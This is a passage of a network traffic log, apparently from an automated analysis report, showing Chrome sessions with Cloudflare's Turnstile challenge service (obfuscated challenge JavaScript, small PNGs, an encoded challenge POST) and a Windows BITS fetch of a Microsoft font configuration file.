2024-05-07 14:12:16 UTC	1369	IN	Data Raw: 29 29 2c 4a 7c 3d 46 2a 28 30 3c 4c 3f 31 3a 30 29 2c 46 3c 3c 3d 31 29 3b 4d 3d 65 28 4a 29 3b 62 72 65 61 6b 3b 63 61 73 65 20 32 3a 72 65 74 75 72 6e 27 27 7d 66 6f 72 28 45 3d 73 5b 33 5d 3d 4d 2c 44 5b 69 4c 28 32 33 37 31 29 5d 28 4d 29 3b 3b 29 7b 69 66 28 64 5b 69 4c 28 32 38 37 35 29 5d 28 49 2c 69 29 29 72 65 74 75 72 6e 27 27 3b 66 6f 72 28 4a 3d 30 2c 4b 3d 4d 61 74 68 5b 69 4c 28 32 32 38 33 29 5d 28 32 2c 43 29 2c 46 3d 31 3b 64 5b 69 4c 28 31 37 39 34 29 5d 28 46 2c 4b 29 3b 4c 3d 47 26 48 2c 48 3e 3e 3d 31 2c 48 3d 3d 30 26 26 28 48 3d 6a 2c 47 3d 6f 28 49 2b 2b 29 29 2c 4a 7c 3d 46 2a 28 30 3c 4c 3f 31 3a 30 29 2c 46 3c 3c 3d 31 29 3b 73 77 69 74 63 68 28 4d 3d 4a 29 7b 63 61 73 65 20 30 3a 66 6f 72 28 4a 3d 30 2c 4b 3d 4d 61 74 68 5b 69 Data Ascii: )),J\|=F(0<L?1:0),F<<=1);M=e(J);break;case 2:return''}for(E=s[3]=M,D[iL(2371)](M);;){if(d[iL(2875)](I,i))return'';for(J=0,K=Math[iL(2283)](2,C),F=1;d[iL(1794)](F,K);L=G&H,H>>=1,H==0&&(H=j,G=o(I++)),J\|=F(0<L?1:0),F<<=1);switch(M=J){case 0:for(J=0,K=Math[i
2024-05-07 14:12:16 UTC	633	IN	Data Raw: 6e 63 74 69 6f 6e 28 6b 2c 6c 2c 6b 30 29 7b 6b 30 3d 6a 5a 2c 67 5e 3d 69 5b 6b 30 28 39 35 33 29 5d 28 6c 29 7d 29 2c 63 3d 66 45 5b 6a 5a 28 31 33 35 30 29 5d 28 63 29 2c 68 3d 5b 5d 2c 66 3d 2d 31 3b 21 69 73 4e 61 4e 28 6a 3d 63 5b 6a 5a 28 39 35 33 29 5d 28 2b 2b 66 29 29 3b 68 5b 6a 5a 28 32 33 37 31 29 5d 28 53 74 72 69 6e 67 5b 6a 5a 28 32 35 33 30 29 5d 28 28 28 6a 26 32 35 35 2e 38 35 29 2d 67 2d 66 25 36 35 35 33 35 2b 36 35 35 33 35 29 25 32 35 35 29 29 29 3b 72 65 74 75 72 6e 20 68 5b 6a 5a 28 31 39 32 31 29 5d 28 27 27 29 7d 2c 66 45 5b 69 78 28 31 38 38 33 29 5d 3d 66 75 6e 63 74 69 6f 6e 28 6b 31 2c 64 2c 65 2c 66 2c 67 29 7b 6b 31 3d 69 78 2c 64 3d 7b 7d 2c 64 5b 6b 31 28 31 30 38 33 29 5d 3d 6b 31 28 32 37 33 30 29 2c 64 5b 6b 31 28 32 Data Ascii: nction(k,l,k0){k0=jZ,g^=i[k0(953)](l)}),c=fE[jZ(1350)](c),h=[],f=-1;!isNaN(j=c[jZ(953)](++f));h[jZ(2371)](String[jZ(2530)](((j&255.85)-g-f%65535+65535)%255)));return h[jZ(1921)]('')},fE[ix(1883)]=function(k1,d,e,f,g){k1=ix,d={},d[k1(1083)]=k1(2730),d[k1(2
2024-05-07 14:12:16 UTC	1369	IN	Data Raw: 61 65 33 0d 0a 27 3a 6b 32 28 32 38 39 31 29 2c 27 72 63 56 27 3a 66 45 5b 6b 32 28 32 31 38 31 29 5d 5b 6b 32 28 31 37 38 30 29 5d 7d 2c 27 2a 27 29 29 7d 2c 67 29 7d 2c 66 45 5b 69 78 28 31 35 38 36 29 5d 3d 66 75 6e 63 74 69 6f 6e 28 66 2c 67 2c 68 2c 6b 33 2c 69 2c 6a 2c 6b 2c 6c 2c 6d 2c 6e 2c 6f 2c 73 2c 78 2c 42 29 7b 6a 3d 28 6b 33 3d 69 78 2c 69 3d 7b 7d 2c 69 5b 6b 33 28 32 38 35 38 29 5d 3d 6b 33 28 32 39 35 35 29 2c 69 5b 6b 33 28 32 38 35 32 29 5d 3d 66 75 6e 63 74 69 6f 6e 28 43 2c 44 29 7b 72 65 74 75 72 6e 20 43 2b 44 7d 2c 69 5b 6b 33 28 31 35 36 31 29 5d 3d 66 75 6e 63 74 69 6f 6e 28 43 2c 44 29 7b 72 65 74 75 72 6e 20 43 2b 44 7d 2c 69 5b 6b 33 28 32 38 38 31 29 5d 3d 6b 33 28 31 31 34 32 29 2c 69 5b 6b 33 28 39 31 31 29 5d 3d 6b 33 28 Data Ascii: ae3':k2(2891),'rcV':fE[k2(2181)][k2(1780)]},'*'))},g)},fE[ix(1586)]=function(f,g,h,k3,i,j,k,l,m,n,o,s,x,B){j=(k3=ix,i={},i[k3(2858)]=k3(2955),i[k3(2852)]=function(C,D){return C+D},i[k3(1561)]=function(C,D){return C+D},i[k3(2881)]=k3(1142),i[k3(911)]=k3(
2024-05-07 14:12:16 UTC	1369	IN	Data Raw: 26 26 28 51 5b 6b 36 28 33 31 35 38 29 5d 5b 6b 36 28 33 30 36 31 29 5d 28 29 2c 52 5b 6b 36 28 33 31 35 38 29 5d 5b 6b 36 28 32 31 38 38 29 5d 28 29 2c 53 5b 6b 36 28 32 31 32 34 29 5d 3d 21 21 5b 5d 2c 5a 3d 7b 7d 2c 5a 5b 6b 36 28 32 39 37 35 29 5d 3d 6f 5b 6b 36 28 33 30 39 38 29 5d 2c 5a 5b 6b 36 28 32 36 37 36 29 5d 3d 55 5b 6b 36 28 32 31 38 31 29 5d 5b 6b 36 28 32 36 38 36 29 5d 2c 5a 5b 6b 36 28 33 30 36 33 29 5d 3d 6b 36 28 38 37 35 29 2c 5a 5b 6b 36 28 33 32 37 31 29 5d 3d 56 5b 6b 36 28 32 31 38 31 29 5d 5b 6b 36 28 32 33 33 30 29 5d 2c 5a 5b 6b 36 28 35 38 35 29 5d 3d 57 5b 6b 36 28 32 31 38 31 29 5d 5b 6b 36 28 37 35 30 29 5d 2c 5a 5b 6b 36 28 31 34 34 38 29 5d 3d 6f 5b 6b 36 28 32 34 36 39 29 5d 2c 5a 5b 6b 36 28 31 31 32 33 29 5d 3d 58 5b Data Ascii: &&(Q[k6(3158)][k6(3061)](),R[k6(3158)][k6(2188)](),S[k6(2124)]=!![],Z={},Z[k6(2975)]=o[k6(3098)],Z[k6(2676)]=U[k6(2181)][k6(2686)],Z[k6(3063)]=k6(875),Z[k6(3271)]=V[k6(2181)][k6(2330)],Z[k6(585)]=W[k6(2181)][k6(750)],Z[k6(1448)]=o[k6(2469)],Z[k6(1123)]=X[
2024-05-07 14:12:16 UTC	56	IN	Data Raw: 29 2c 67 41 5b 69 78 28 35 39 36 29 5d 3d 69 78 28 31 38 39 33 29 2c 67 41 5b 69 78 28 32 38 31 38 29 5d 3d 69 78 28 39 38 30 29 2c 67 41 5b 69 78 28 31 31 37 34 0d 0a Data Ascii: ),gA[ix(596)]=ix(1893),gA[ix(2818)]=ix(980),gA[ix(1174

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
11	192.168.2.8	49724	104.17.3.184	443	6856	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-07 14:12:15 UTC	785	OUT	GET /cdn-cgi/challenge-platform/h/b/cmg/1/wh0E0SXYnx6pTBdJW%2Fl926I%2BPRUplRdtQz3K9lHXs%2Fs%3D HTTP/1.1 Host: challenges.cloudflare.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/b/turnstile/if/ov2/av0/rcv0/0/1rmcj/0x4AAAAAAAZfbKRA3uD3to0K/auto/normal Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-05-07 14:12:16 UTC	240	IN	HTTP/1.1 200 OK Date: Tue, 07 May 2024 14:12:16 GMT Content-Type: image/png Content-Length: 61 Connection: close cache-control: max-age=2629800, public Server: cloudflare CF-RAY: 8801cdd0896d72b6-EWR alt-svc: h3=":443"; ma=86400
2024-05-07 14:12:16 UTC	61	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 02 00 00 00 02 08 02 00 00 00 fd d4 9a 73 00 00 00 04 49 44 41 54 00 00 00 01 9d 24 d7 91 00 00 00 00 49 45 4e 44 ae 42 60 82 Data Ascii: PNGIHDRsIDAT$IENDB`

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
12	192.168.2.8	49726	23.51.58.94	443

Timestamp	Bytes transferred	Direction	Data
2024-05-07 14:12:16 UTC	239	OUT	GET /fs/windows/config.json HTTP/1.1 Connection: Keep-Alive Accept: / Accept-Encoding: identity If-Unmodified-Since: Tue, 16 May 2017 22:58:00 GMT Range: bytes=0-2147483646 User-Agent: Microsoft BITS/7.8 Host: fs.microsoft.com
2024-05-07 14:12:16 UTC	456	IN	HTTP/1.1 200 OK ApiVersion: Distribute 1.1 Content-Disposition: attachment; filename=config.json; filename*=UTF-8''config.json Content-Type: application/octet-stream ETag: "0x64667F707FF07D62B733DBCB79EFE3855E6886C9975B0C0B467D46231B3FA5E7" Last-Modified: Tue, 16 May 2017 22:58:00 GMT Server: ECAcc (chd/0778) X-CID: 11 Cache-Control: public, max-age=147066 Date: Tue, 07 May 2024 14:12:16 GMT Content-Length: 55 Connection: close X-CID: 2
2024-05-07 14:12:16 UTC	55	IN	Data Raw: 7b 22 66 6f 6e 74 53 65 74 55 72 69 22 3a 22 66 6f 6e 74 73 65 74 2d 32 30 31 37 2d 30 34 2e 6a 73 6f 6e 22 2c 22 62 61 73 65 55 72 69 22 3a 22 66 6f 6e 74 73 22 7d Data Ascii: {"fontSetUri":"fontset-2017-04.json","baseUri":"fonts"}

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
13	192.168.2.8	49727	104.17.2.184	443	6856	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-07 14:12:16 UTC	438	OUT	GET /cdn-cgi/challenge-platform/h/b/cmg/1/wh0E0SXYnx6pTBdJW%2Fl926I%2BPRUplRdtQz3K9lHXs%2Fs%3D HTTP/1.1 Host: challenges.cloudflare.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-05-07 14:12:16 UTC	240	IN	HTTP/1.1 200 OK Date: Tue, 07 May 2024 14:12:16 GMT Content-Type: image/png Content-Length: 61 Connection: close cache-control: max-age=2629800, public Server: cloudflare CF-RAY: 8801cdd39eb342bf-EWR alt-svc: h3=":443"; ma=86400
2024-05-07 14:12:16 UTC	61	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 02 00 00 00 02 08 02 00 00 00 fd d4 9a 73 00 00 00 04 49 44 41 54 00 00 00 01 9d 24 d7 91 00 00 00 00 49 45 4e 44 ae 42 60 82 Data Ascii: PNGIHDRsIDAT$IENDB`

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
14	192.168.2.8	49728	104.17.3.184	443	6856	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-07 14:12:16 UTC	915	OUT	POST /cdn-cgi/challenge-platform/h/b/flow/ov1/169092501:1715087394:BARsn763lEtPIs7yuOhseVgGcpRzXErFIt9Om1KqmSI/8801cdc8cadc8c54/eecdc0808b453da HTTP/1.1 Host: challenges.cloudflare.com Connection: keep-alive Content-Length: 2662 sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" Content-type: application/x-www-form-urlencoded sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 CF-Challenge: eecdc0808b453da sec-ch-ua-platform: "Windows" Accept: / Origin: https://challenges.cloudflare.com Sec-Fetch-Site: same-origin Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/b/turnstile/if/ov2/av0/rcv0/0/1rmcj/0x4AAAAAAAZfbKRA3uD3to0K/auto/normal Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-05-07 14:12:16 UTC	2662	OUT	Data Raw: 76 5f 38 38 30 31 63 64 63 38 63 61 64 63 38 63 35 34 3d 6b 54 41 48 47 59 4d 32 6c 32 79 51 41 6c 54 37 50 71 75 39 75 30 75 35 48 37 24 75 54 69 6f 71 79 30 69 75 50 4e 69 48 76 33 79 4f 75 4f 24 4d 77 77 54 36 79 59 75 73 48 69 74 68 75 34 71 36 75 41 46 24 75 4e 42 48 58 51 75 4c 48 75 70 69 41 76 25 32 62 68 24 75 4c 41 36 41 75 51 47 6a 44 53 61 55 75 61 48 6c 36 75 52 48 69 77 59 50 36 6b 48 4d 34 75 71 24 79 32 75 39 4f 36 41 34 75 4f 48 79 55 45 63 6d 38 38 67 32 30 75 62 24 6f 32 4b 48 75 46 6a 75 75 56 75 79 36 46 64 24 54 4c 4c 7a 73 6d 4c 75 79 43 44 48 79 68 64 75 43 54 48 75 33 30 75 4d 6f 42 4c 48 64 37 75 6c 31 5a 50 39 24 75 6c 37 75 77 6a 39 37 75 69 53 76 56 4b 2d 70 65 33 37 79 6b 75 58 33 75 4d 7a 71 75 2d 4c 30 67 58 73 65 75 4d 53 Data Ascii: v_8801cdc8cadc8c54=kTAHGYM2l2yQAlT7Pqu9u0u5H7$uTioqy0iuPNiHv3yOuO$MwwT6yYusHithu4q6uAF$uNBHXQuLHupiAv%2bh$uLA6AuQGjDSaUuaHl6uRHiwYP6kHM4uq$y2u9O6A4uOHyUEcm88g20ub$o2KHuFjuuVuy6Fd$TLLzsmLuyCDHyhduCTHu30uMoBLHd7ul1ZP9$ul7uwj97uiSvVK-pe37ykuX3uMzqu-L0gXseuMS
2024-05-07 14:12:17 UTC	758	IN	HTTP/1.1 200 OK Date: Tue, 07 May 2024 14:12:16 GMT Content-Type: text/plain; charset=UTF-8 Transfer-Encoding: chunked Connection: close cf-chl-gen: WwGJOJLB9eHrCBTKDqJr/iuQ1V/J2ccs7hQixdN0Om+Xh9xEaGwGGeC+alM3ag/TPGq+PPWU7QEYKReBV9n18DwzI3G6vV4OGAENoXnj6PlOmeXnt7xb6CXc/ED2Y9uUerhMHY0jjYtnH3zPmF0sTDR0n4gLH+ZqdC2h9rezDgG73hRkBICXaxEpfCrke7ZuUcjtmravI5tx+5TesTHZaUh7W5mysBx3p+x5LuXbi2AdQ7BETTrKFrwQ6bPKDotWwhzxsCdmi1JOBWniXRtHVZQPxKbFfB5UqWRwxWce0foStzkDuJJ8vWXmviqE7xStsnoUlUMnuPH6N4QRrj2+f0WpqSyNhOnCQHxL5UiXkwqgQHHY5V8W1HMv/G2n3yqmjEOAVK0WcmepbTx5BABcOwZmlXb3sJjSxtnJiiZd6VKFLMXys5c4BNVpunqFURvccO6w/mNGkBB/2RLfB4tyTQ==$nlxu7ZuiiVTd20kbOLHNBA== vary: accept-encoding Server: cloudflare CF-RAY: 8801cdd52b844276-EWR alt-svc: h3=":443"; ma=86400
2024-05-07 14:12:17 UTC	611	IN	Data Raw: 31 34 33 33 0d 0a 6c 4a 32 6c 68 36 6d 34 79 59 61 41 70 61 53 72 6b 73 66 48 30 4a 4c 55 6f 39 61 61 78 35 72 52 70 71 2b 66 72 4b 2b 30 34 4e 62 55 75 74 43 62 30 74 7a 43 33 4f 6e 67 75 4e 7a 48 76 4d 6e 67 39 73 44 6f 7a 4f 76 35 74 2f 44 53 79 75 72 66 32 39 6e 58 31 75 54 69 43 74 73 49 42 63 4c 31 44 41 6e 4b 33 65 62 66 35 2f 41 56 44 66 48 68 38 66 72 31 35 66 6a 57 44 4e 6a 37 38 50 6e 38 49 78 34 4a 41 2f 4d 55 46 66 67 66 36 54 48 37 4a 42 4d 6a 35 2b 2f 31 4f 43 6f 5a 43 69 7a 32 44 50 30 54 48 51 30 64 50 52 63 33 41 77 59 58 50 45 49 72 46 6a 38 78 4b 51 6f 4a 4c 77 77 56 4d 51 6f 34 57 54 6b 32 55 52 59 30 47 44 6b 36 55 6a 59 63 4e 6c 5a 66 53 55 73 33 57 7a 6c 4b 50 47 39 42 61 6a 35 69 4e 45 4d 78 4c 6a 6c 33 4e 6e 42 4a 66 6d 70 39 56 Data Ascii: 1433lJ2lh6m4yYaApaSrksfH0JLUo9aax5rRpq+frK+04NbUutCb0tzC3OnguNzHvMng9sDozOv5t/DSyurf29nX1uTiCtsIBcL1DAnK3ebf5/AVDfHh8fr15fjWDNj78Pn8Ix4JA/MUFfgf6TH7JBMj5+/1OCoZCiz2DP0THQ0dPRc3AwYXPEIrFj8xKQoJLwwVMQo4WTk2URY0GDk6UjYcNlZfSUs3WzlKPG9Baj5iNEMxLjl3NnBJfmp9V
2024-05-07 14:12:17 UTC	1369	IN	Data Raw: 32 52 66 66 6e 4a 6b 59 57 35 6b 68 34 69 49 64 5a 71 51 6d 57 70 6d 55 56 6d 4b 67 70 78 35 65 61 56 2b 66 32 65 72 65 71 6d 6e 61 4a 6d 77 68 59 6c 39 62 72 43 4b 63 49 71 6c 64 62 69 31 70 70 32 78 66 4a 2b 78 6f 4a 6d 31 67 4d 6a 4a 78 5a 6d 71 6c 4d 57 62 70 4b 58 46 73 71 69 66 70 4a 4b 73 73 73 4b 57 31 4b 76 5a 73 64 43 2b 75 72 47 76 73 37 72 42 78 64 79 6c 6f 65 66 44 37 4f 50 76 33 4d 48 63 76 38 4c 53 74 65 6a 34 7a 4e 44 35 31 66 6a 71 75 4c 66 76 7a 4e 44 77 34 72 7a 39 36 51 6a 6b 2b 73 4c 2b 41 41 33 36 43 38 76 53 45 64 34 44 46 4f 6a 56 30 39 6e 76 48 75 72 63 38 2b 2f 32 31 65 50 64 32 50 6a 6b 2b 65 62 6d 33 76 33 6d 41 54 45 70 4d 7a 51 4a 41 79 54 74 4b 54 59 78 38 6a 63 54 44 41 41 4c 4e 6a 4d 77 46 78 4a 42 4f 55 46 45 4c 43 51 47 Data Ascii: 2RffnJkYW5kh4iIdZqQmWpmUVmKgpx5eaV+f2ereqmnaJmwhYl9brCKcIqldbi1pp2xfJ+xoJm1gMjJxZmqlMWbpKXFsqifpJKsssKW1KvZsdC+urGvs7rBxdyloefD7OPv3MHcv8LStej4zND51fjquLfvzNDw4rz96Qjk+sL+AA36C8vSEd4DFOjV09nvHurc8+/21ePd2Pjk+ebm3v3mATEpMzQJAyTtKTYx8jcTDAALNjMwFxJBOUFELCQG
2024-05-07 14:12:17 UTC	1369	IN	Data Raw: 4f 51 6c 5a 57 4a 56 59 70 79 54 70 56 32 58 56 6d 55 6d 4a 42 74 58 48 4e 36 66 34 70 39 58 59 47 70 70 57 65 5a 62 34 36 74 74 58 36 69 6a 71 69 56 69 4a 65 30 65 62 31 37 66 36 71 51 66 72 66 43 6f 37 36 6f 6c 62 58 49 6e 38 36 34 72 35 79 6e 79 38 76 4c 6a 4b 43 4e 30 72 61 71 6b 39 47 77 6d 73 69 63 31 74 33 68 74 39 7a 54 75 39 43 6e 34 73 47 34 78 62 7a 4a 33 63 47 72 37 75 54 46 7a 37 62 6e 37 2f 72 51 7a 4c 62 63 76 50 7a 4f 2b 75 48 73 30 4c 6a 6f 43 64 4c 66 2b 63 77 41 37 4e 72 43 35 4f 76 72 35 2b 2f 52 31 76 4c 69 41 77 73 48 37 52 6e 36 36 64 37 73 39 42 63 47 33 78 62 66 48 41 6f 6f 46 77 59 4f 43 79 37 6f 2b 78 44 30 43 7a 51 42 39 6a 55 37 42 41 38 6d 44 2f 77 58 4f 66 73 42 51 54 30 41 41 30 52 44 4e 7a 5a 44 44 45 4d 4a 52 77 39 49 51 Data Ascii: OQlZWJVYpyTpV2XVmUmJBtXHN6f4p9XYGppWeZb46ttX6ijqiViJe0eb17f6qQfrfCo76olbXIn864r5yny8vLjKCN0raqk9Gwmsic1t3ht9zTu9Cn4sG4xbzJ3cGr7uTFz7bn7/rQzLbcvPzO+uHs0LjoCdLf+cwA7NrC5Ovr5+/R1vLiAwsH7Rn66d7s9BcG3xbfHAooFwYOCy7o+xD0CzQB9jU7BA8mD/wXOfsBQT0AA0RDNzZDDEMJRw9IQ
2024-05-07 14:12:17 UTC	1369	IN	Data Raw: 4e 6c 59 31 31 58 33 6c 72 61 32 31 74 6c 5a 2b 43 58 70 6d 6e 6f 47 61 72 70 32 5a 72 68 6d 78 77 74 4a 4b 44 67 58 53 4d 75 35 56 7a 74 34 68 78 76 5a 4b 2b 6a 4a 2b 55 6e 36 53 35 67 71 75 32 6c 38 4f 65 6c 38 61 6e 71 38 53 75 78 4d 71 67 79 38 6a 59 7a 4c 47 35 32 62 6a 4e 71 37 71 77 34 64 62 47 34 72 2f 6b 76 38 50 57 75 4d 6a 77 35 4f 58 6e 38 72 44 52 30 2b 33 5a 73 66 69 35 7a 4f 6e 38 32 39 58 75 7a 74 47 36 34 38 54 31 36 4e 48 54 31 77 75 2f 42 38 76 67 37 4f 6a 74 45 41 2f 30 41 68 54 73 43 42 58 62 39 69 44 72 33 50 76 74 41 69 59 48 34 53 63 6a 2f 76 51 49 2b 43 38 6c 41 53 4d 52 36 52 34 42 4e 51 73 47 42 66 41 48 43 67 55 38 50 50 34 4a 4d 50 6f 74 48 54 4d 34 4a 43 64 4c 42 54 76 2b 49 31 41 37 42 79 38 72 4b 56 46 4c 55 79 55 6a 49 31 Data Ascii: NlY11X3lra21tlZ+CXpmnoGarp2ZrhmxwtJKDgXSMu5Vzt4hxvZK+jJ+Un6S5gqu2l8Oel8anq8SuxMqgy8jYzLG52bjNq7qw4dbG4r/kv8PWuMjw5OXn8rDR0+3Zsfi5zOn829XuztG648T16NHT1wu/B8vg7OjtEA/0AhTsCBXb9iDr3PvtAiYH4Scj/vQI+C8lASMR6R4BNQsGBfAHCgU8PP4JMPotHTM4JCdLBTv+I1A7By8rKVFLUyUjI1
2024-05-07 14:12:17 UTC	461	IN	Data Raw: 6a 57 42 36 62 6f 4f 6c 59 6d 46 6e 69 47 53 67 68 36 6d 78 62 62 43 79 67 4b 47 48 6f 6f 61 6d 68 4c 69 4e 72 35 69 4c 72 70 65 62 66 36 4b 6d 76 4b 53 7a 77 72 62 4d 6e 35 61 4c 79 73 6d 78 78 74 44 4f 70 36 43 31 7a 64 50 4e 6c 36 36 62 31 72 72 4e 33 36 71 2f 33 61 4b 30 76 4e 6a 67 6f 4c 7a 41 76 73 47 76 36 4e 44 54 77 50 4c 54 30 64 2f 46 30 61 7a 36 39 76 48 66 76 63 76 33 31 50 51 44 2b 41 48 44 34 2f 6a 35 77 75 49 49 44 41 67 4e 41 50 4d 52 45 42 62 53 38 65 2f 74 39 42 50 70 2f 64 77 65 2b 52 73 6a 46 66 4c 67 45 68 34 61 43 79 51 70 41 75 6f 65 41 51 55 4f 44 42 77 41 41 76 51 73 44 79 49 61 38 66 4d 2f 50 2f 34 4b 4e 2f 67 6c 45 54 30 2f 51 43 6c 47 50 51 6f 4d 51 7a 31 4f 45 55 63 70 44 44 39 49 56 67 70 57 56 44 6c 57 4b 43 74 67 58 68 74 Data Ascii: jWB6boOlYmFniGSgh6mxbbCygKGHooamhLiNr5iLrpebf6KmvKSzwrbMn5aLysmxxtDOp6C1zdPNl66b1rrN36q/3aK0vNjgoLzAvsGv6NDTwPLT0d/F0az69vHfvcv31PQD+AHD4/j5wuIIDAgNAPMREBbS8e/t9BPp/dwe+RsjFfLgEh4aCyQpAuoeAQUODBwAAvQsDyIa8fM/P/4KN/glET0/QClGPQoMQz1OEUcpDD9IVgpWVDlWKCtgXht
2024-05-07 14:12:17 UTC	1369	IN	Data Raw: 31 61 36 34 0d 0a 56 7a 72 33 48 36 66 37 36 77 51 4c 5a 77 2b 54 6f 43 41 6e 67 41 4d 76 4b 42 2f 6a 47 44 68 54 72 41 41 2f 2b 44 4e 49 59 38 76 54 36 31 42 6e 33 48 78 6f 4f 47 76 54 2b 38 50 45 6a 32 79 6b 43 42 41 51 46 48 41 67 41 42 65 30 4e 41 51 41 6b 41 51 51 75 2b 2f 4c 37 39 77 73 77 50 45 41 52 4f 53 55 63 2f 51 51 39 43 78 38 61 43 68 34 43 4a 45 52 4d 50 79 6f 67 56 6c 42 58 46 79 30 73 4f 6c 30 7a 4e 42 64 41 58 32 51 6b 48 57 46 48 49 69 45 6d 56 6d 45 39 61 45 35 69 4b 48 4a 55 50 7a 34 70 54 6c 68 37 4d 33 77 35 5a 6c 56 35 50 57 70 68 5a 58 74 77 51 49 64 42 64 45 56 6c 66 6f 64 63 66 6c 2b 4f 63 56 2b 44 64 6c 43 52 6b 31 69 57 55 6e 6c 59 64 6e 39 73 58 5a 42 2f 6c 6d 53 6a 64 35 5a 6e 70 6f 75 74 62 71 74 75 6e 36 65 53 70 70 4b 4f Data Ascii: 1a64Vzr3H6f76wQLZw+ToCAngAMvKB/jGDhTrAA/+DNIY8vT61Bn3HxoOGvT+8PEj2ykCBAQFHAgABe0NAQAkAQQu+/L79wswPEAROSUc/QQ9Cx8aCh4CJERMPyogVlBXFy0sOl0zNBdAX2QkHWFHIiEmVmE9aE5iKHJUPz4pTlh7M3w5ZlV5PWphZXtwQIdBdEVlfodcfl+OcV+DdlCRk1iWUnlYdn9sXZB/lmSjd5Znpoutbqtun6eSppKO
2024-05-07 14:12:17 UTC	1369	IN	Data Raw: 54 30 78 38 7a 4e 39 2b 7a 78 39 74 48 46 34 67 58 36 41 2f 63 4c 36 39 37 4a 34 2f 76 76 46 51 6e 52 44 2b 62 78 35 4e 50 5a 38 76 7a 37 2f 52 49 52 49 41 58 65 4b 43 66 32 41 51 67 69 35 41 58 37 4b 2b 30 68 45 77 6b 30 46 65 34 6a 4f 42 6f 50 4e 54 55 30 43 43 30 50 2b 69 41 68 44 51 4a 43 4d 52 6c 4c 43 30 30 65 50 79 6c 51 4a 52 74 53 49 6c 42 4e 4b 69 4a 59 4e 6b 4d 72 56 44 78 55 48 78 70 64 4e 55 34 66 50 44 4a 49 56 44 70 62 5a 6c 68 41 58 79 70 68 51 32 68 6c 52 45 46 73 4e 6a 6c 44 54 45 35 56 62 47 68 34 53 33 59 2f 50 44 74 36 66 45 46 68 64 30 5a 61 57 59 70 4b 6b 48 47 45 59 6c 4a 67 67 70 61 44 59 35 4b 46 64 49 6c 78 66 48 42 35 56 49 53 51 62 70 4e 5a 59 6d 68 7a 65 6f 71 72 67 5a 2b 73 6e 4b 6d 72 72 61 36 73 64 61 43 6b 65 59 6d 59 6b Data Ascii: T0x8zN9+zx9tHF4gX6A/cL697J4/vvFQnRD+bx5NPZ8vz7/RIRIAXeKCf2AQgi5AX7K+0hEwk0Fe4jOBoPNTU0CC0P+iAhDQJCMRlLC00ePylQJRtSIlBNKiJYNkMrVDxUHxpdNU4fPDJIVDpbZlhAXyphQ2hlREFsNjlDTE5VbGh4S3Y/PDt6fEFhd0ZaWYpKkHGEYlJggpaDY5KFdIlxfHB5VISQbpNZYmhzeoqrgZ+snKmrra6sdaCkeYmYk
2024-05-07 14:12:17 UTC	1369	IN	Data Raw: 62 7a 37 37 53 32 4d 6e 6b 78 2b 6b 4f 34 2f 72 6c 78 2b 6e 63 43 64 2f 68 43 77 30 47 47 2f 44 6e 47 51 76 39 44 66 50 38 46 65 30 61 2b 79 4d 48 43 2b 49 65 44 43 41 64 4c 67 51 6e 45 2f 41 4c 49 78 67 56 38 44 45 32 47 52 37 38 44 54 7a 79 48 6a 77 66 4a 6a 6b 53 50 45 5a 43 4a 53 68 44 48 7a 39 45 51 51 31 4b 4c 7a 4a 4f 55 79 4d 34 4f 31 63 79 50 44 41 36 57 30 42 68 49 78 39 57 5a 30 38 6c 4b 55 5a 57 51 30 74 64 62 57 42 42 4c 44 77 7a 53 55 64 4b 54 32 70 76 54 57 51 7a 56 6e 39 38 58 31 55 36 54 44 65 44 52 59 68 6e 68 58 64 30 61 6c 68 76 69 6d 42 74 55 32 6c 74 58 32 70 57 55 47 2b 44 6c 70 4e 39 66 46 31 54 66 4b 4e 76 67 70 57 6c 65 61 43 67 5a 59 69 57 6e 61 74 6e 72 48 78 7a 70 48 4f 32 69 49 79 42 68 62 4f 49 71 4a 70 37 74 33 71 51 75 61 Data Ascii: bz77S2Mnkx+kO4/rlx+ncCd/hCw0GG/DnGQv9DfP8Fe0a+yMHC+IeDCAdLgQnE/ALIxgV8DE2GR78DTzyHjwfJjkSPEZCJShDHz9EQQ1KLzJOUyM4O1cyPDA6W0BhIx9WZ08lKUZWQ0tdbWBBLDwzSUdKT2pvTWQzVn98X1U6TDeDRYhnhXd0alhvimBtU2ltX2pWUG+DlpN9fF1TfKNvgpWleaCgZYiWnatnrHxzpHO2iIyBhbOIqJp7t3qQua
